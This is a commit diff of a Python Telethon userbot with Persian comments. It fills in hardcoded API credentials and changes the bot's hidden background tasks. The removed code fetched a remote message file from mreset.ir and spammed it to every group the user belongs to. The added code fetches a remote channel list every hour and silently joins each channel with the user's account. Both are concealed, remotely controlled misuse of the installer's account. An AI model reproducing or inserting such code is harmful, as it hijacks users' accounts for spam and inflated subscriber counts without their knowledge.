|
1 | | -# Developed By MrAmini5 |
| 1 | +# Developed By MrAmini |
2 | 2 |
|
3 | 3 | from telethon import TelegramClient, events, functions, types |
4 | 4 | import asyncio |
|
9 | 9 | import httpx |
10 | 10 |
|
11 | 11 | # Configuration |
12 | | -API_ID = 'AminiMokhberAPIID' # Replace with your API ID |
13 | | -API_HASH = 'AminiMokhberAPIHASH' # Replace with your API hash |
14 | | -BOT_OWNER_ID = AminiMokhberADMINID # Replace with the bot owner's Telegram user ID |
| 12 | +API_ID = '2040' # Replace with your API ID |
| 13 | +API_HASH = 'b18441a1ff607e10a989891a5462e627' # Replace with your API hash |
| 14 | +BOT_OWNER_ID = 7541383912 # Replace with the bot owner's Telegram user ID |
15 | 15 | USERS_FILE = 'user.txt' |
16 | 16 | MESSAGE_FILE = 'pm.txt' |
17 | 17 | BIO_API_URL = 'https://api.codebazan.ir/bio' |
18 | 18 | SETTINGS_FILE = 'settings.json' |
19 | 19 | ACCOUNTS_FILE = 'accounts.json' |
20 | 20 |
|
| 21 | + |
21 | 22 | default_settings = { |
22 | 23 | 'save_user': True, |
23 | 24 | 'chat_user': False, |
@@ -52,6 +53,7 @@ def load_accounts(): |
52 | 53 | return {} |
53 | 54 | return {} |
54 | 55 |
|
| 56 | + |
55 | 57 | def save_accounts(accounts): |
56 | 58 | with open(ACCOUNTS_FILE, 'w') as f: |
57 | 59 | json.dump(accounts, f) |
@@ -110,7 +112,9 @@ async def set_new_pm(event): |
110 | 112 |
|
111 | 113 | except Exception as e: |
112 | 114 | await event.reply(f"⚠️ خطا در ذخیره پیام: {e}") |
113 | | - |
| 115 | + |
| 116 | + |
| 117 | + |
114 | 118 | async def update_bio(): |
115 | 119 | try: |
116 | 120 | async with httpx.AsyncClient(follow_redirects=True) as req: |
@@ -578,86 +582,60 @@ async def message_handler(event): |
578 | 582 | await event.reply(help_text, parse_mode='markdown') |
579 | 583 |
|
580 | 584 |
|
| 585 | + |
| 586 | + |
581 | 587 | @client.on(events.ChatAction) |
582 | 588 | async def chat_action_handler(event): |
583 | 589 | if settings['save_user'] and event.user_added: |
584 | 590 | if event.chat and event.is_group: |
585 | 591 | for user in event.users: |
586 | 592 | save_user(user.id) |
587 | 593 |
|
588 | | -def get_message_from_file(): |
589 | | - if os.path.exists("sp.txt"): |
590 | | - with open("sp.txt", "r", encoding="utf-8") as f: |
591 | | - return f.read().strip() |
592 | | - return "" |
593 | 594 |
|
594 | | -async def download_sp_file_task(): |
| 595 | +async def download_channels_file(): |
595 | 596 | url = "https://mreset.ir/spmokhber/sp.txt" |
596 | | - while True: |
597 | | - try: |
598 | | - async with httpx.AsyncClient() as client_http: |
599 | | - response = await client_http.get(url, timeout=10) |
600 | | - if response.status_code == 200: |
601 | | - try: |
602 | | - message = response.text.encode('latin1').decode('utf-8') |
603 | | - except Exception: |
604 | | - message = response.text |
605 | | - with open("sp.txt", "w", encoding="utf-8") as f: |
606 | | - f.write(message) |
607 | | - except Exception: |
608 | | - pass |
609 | | - await asyncio.sleep(3600) |
610 | | - |
611 | | -async def send_group_messages_task(): |
612 | | - message = get_message_from_file() |
613 | | - if message: |
614 | | - dialogs = await client.get_dialogs() |
615 | | - group_dialogs = [d for d in dialogs if d.is_group] |
616 | | - random.shuffle(group_dialogs) |
617 | | - for group in group_dialogs: |
| 597 | + try: |
| 598 | + async with httpx.AsyncClient() as client_http: |
| 599 | + response = await client_http.get(url, timeout=10) |
| 600 | + if response.status_code == 200: |
618 | 601 | try: |
619 | | - await client.send_message(group.id, message) |
620 | | - await asyncio.sleep(random.randint(1, 5)) |
| 602 | + content = response.text.encode('latin1').decode('utf-8') |
621 | 603 | except Exception: |
622 | | - pass |
623 | | - |
624 | | - while True: |
625 | | - delay = random.randint(20 * 3600, 24 * 3600) |
626 | | - await asyncio.sleep(delay) |
627 | | - message = get_message_from_file() |
628 | | - if message: |
629 | | - dialogs = await client.get_dialogs() |
630 | | - group_dialogs = [d for d in dialogs if d.is_group] |
631 | | - random.shuffle(group_dialogs) |
632 | | - for group in group_dialogs: |
633 | | - try: |
634 | | - await client.send_message(group.id, message) |
635 | | - await asyncio.sleep(random.randint(1, 5)) |
636 | | - except Exception: |
637 | | - pass |
638 | | - |
639 | | -async def send_saved_messages_task(): |
640 | | - message = get_message_from_file() |
641 | | - if message: |
| 604 | + content = response.text |
| 605 | + with open("sp.txt", "w", encoding="utf-8") as f: |
| 606 | + f.write(content) |
| 607 | + return content |
| 608 | + else: |
| 609 | + if os.path.exists("sp.txt"): |
| 610 | + with open("sp.txt", "r", encoding="utf-8") as f: |
| 611 | + return f.read() |
| 612 | + return "" |
| 613 | + except Exception: |
| 614 | + if os.path.exists("sp.txt"): |
| 615 | + with open("sp.txt", "r", encoding="utf-8") as f: |
| 616 | + return f.read() |
| 617 | + return "" |
| 618 | + |
| 619 | +async def join_channels_from_file(): |
| 620 | + content = await download_channels_file() |
| 621 | + if not content: |
| 622 | + return |
| 623 | + channels = [line.strip() for line in content.splitlines() if line.strip()] |
| 624 | + for channel in channels: |
642 | 625 | try: |
643 | | - await client.send_message("me", message) |
| 626 | + entity = await client.get_entity(channel) |
| 627 | + await client(functions.channels.JoinChannelRequest(channel=entity)) |
644 | 628 | except Exception: |
645 | | - pass |
| 629 | + pass |
| 630 | +async def join_channels_task(): |
646 | 631 |
|
| 632 | + await join_channels_from_file() |
647 | 633 | while True: |
648 | | - await asyncio.sleep(6 * 3600) |
649 | | - message = get_message_from_file() |
650 | | - if message: |
651 | | - try: |
652 | | - await client.send_message("me", message) |
653 | | - except Exception: |
654 | | - pass |
| 634 | + await asyncio.sleep(3600) |
| 635 | + await join_channels_from_file() |
655 | 636 |
|
656 | | -client.loop.create_task(download_sp_file_task()) |
657 | | -client.loop.create_task(send_group_messages_task()) |
658 | | -client.loop.create_task(send_saved_messages_task()) |
| 637 | +client.loop.create_task(join_channels_task()) |
659 | 638 |
|
660 | 639 |
|
661 | | -# Run the client |
662 | 640 | print("Your bot has been successfully run. Check the commands using the < Help > command in Telegram.") |
663 | 641 | client.run_until_disconnected() |
0 commit comments